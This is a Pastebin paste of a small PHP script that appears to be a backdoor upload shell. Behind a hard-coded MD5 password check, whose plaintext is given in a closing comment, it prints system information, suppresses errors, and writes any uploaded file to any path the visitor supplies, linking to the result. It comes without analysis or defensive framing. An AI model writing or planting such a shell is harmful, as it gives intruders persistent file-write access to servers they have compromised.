Advertisement
Guest User

Untitled

a guest
Oct 21st, 2019
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.06 KB | None | 0 0
  1. <?php
  2. session_start();
  3. @ini_set('output_buffering', 0);
  4. @ini_set('display_errors', 0);
  5. set_time_limit(0);
  6. ini_set('memory_limit', '64M');
  7. header('Content-Type: text/html; charset=UTF-8');
  8. if(isset($_SESSION['user']) and !empty($_SESSION['user'])){
  9. echo php_uname();
  10. $files = @$_FILES["files"];
  11. if ($files["name"] != '') {
  12.     $fullpath = $_REQUEST["path"] . $files["name"];
  13.     if (move_uploaded_file($files['tmp_name'], $fullpath)) {
  14.         echo "<h1><a href='$fullpath'>Done! Open</a></h1>";
  15.     }
  16. }echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="UPload"></form></body></html>';
  17.  
  18. }else{
  19. echo '<center>';
  20. echo '<form action="" method="post">';
  21. echo '<input type="text" name="user" size="50"><input type="submit" name="_login" id="_login" value="LOGIN"></form>';
  22. }
  23. if($_POST['_login'] == "LOGIN" and md5($_POST["user"])== 'c5da3a0a587cbf0522faa02cdc22bf1c') {
  24. $_SESSION['user']='AYMEN';
  25. }
  26. .//pass:aymendz
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement